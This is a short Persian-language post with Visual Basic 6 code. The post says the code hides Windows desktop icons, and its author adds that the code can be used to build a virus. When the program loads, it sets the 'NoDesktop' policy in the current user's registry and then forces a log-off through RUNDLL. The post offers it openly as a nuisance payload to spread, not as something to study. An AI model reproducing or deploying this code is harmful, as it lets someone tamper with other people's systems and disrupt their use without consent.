برای مخفی کردن آیکون های دسکتاپ از کد زیر استفاده کنید .می تونید از این کد برای ساخت ویروس استفاده کنید...!!

Option Explicit Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _     (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" _     (ByVal hKey As Long, ByVal lpSubKey As String) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" _     (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _     (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, _     lpType As Long, lpData As Any, lpcbData As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _     (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _     ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Const ERROR_SUCCESS = 0& Const ERROR_BADDB = 1009& Const ERROR_BADKEY = 1010& Const ERROR_CANTOPEN = 1011& Const ERROR_CANTREAD = 1012& Const ERROR_CANTWRITE = 1013& Const ERROR_REGISTRY_RECOVERED = 1014& Const ERROR_REGISTRY_CORRUPT = 1015& Const ERROR_REGISTRY_IO_FAILED = 1016& Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const REG_SZ = 1 Const regKey = "\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER" Dim startdate As String Dim enddate As String Dim count1 As Integer Public done1 As String Private Sub form_load() Dim retValue As Long Dim result As Long Dim keyID As Long Dim keyValue As String Dim subKey As String Dim bufSize As Long     done1 = "NO"    enddate = "\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"     'Create key     retValue = RegCreateKey(HKEY_CURRENT_USER, regKey, keyID)     If retValue = 0 Then         'Create width         subKey = "NoDesktop"         retValue = RegQueryValueEx(keyID, subKey, 0&, REG_SZ, _                    0&, bufSize)         'No value, set it         If bufSize < 2 Then             keyValue = 1             retValue = RegSetValueEx(keyID, subKey, 0&, _                                         REG_SZ, ByVal keyValue, Len(keyValue) + 1)             startdate = keyValue         Else             keyValue = String(bufSize + 1, " ")             retValue = RegQueryValueEx(keyID, subKey, 0&, REG_SZ, _                        ByVal keyValue, bufSize)             keyValue = Left$(keyValue, bufSize - 1)             keyValue = 0             retValue = RegSetValueEx(keyID, subKey, 0&, _                                         REG_SZ, ByVal keyValue, Len(keyValue) + 1)             startdate = 1         End If     End If     Unload Me     Shell "C:\WINDOWS\RUNDLL.EXE USER.EXE,EXITWINDOWS" End Sub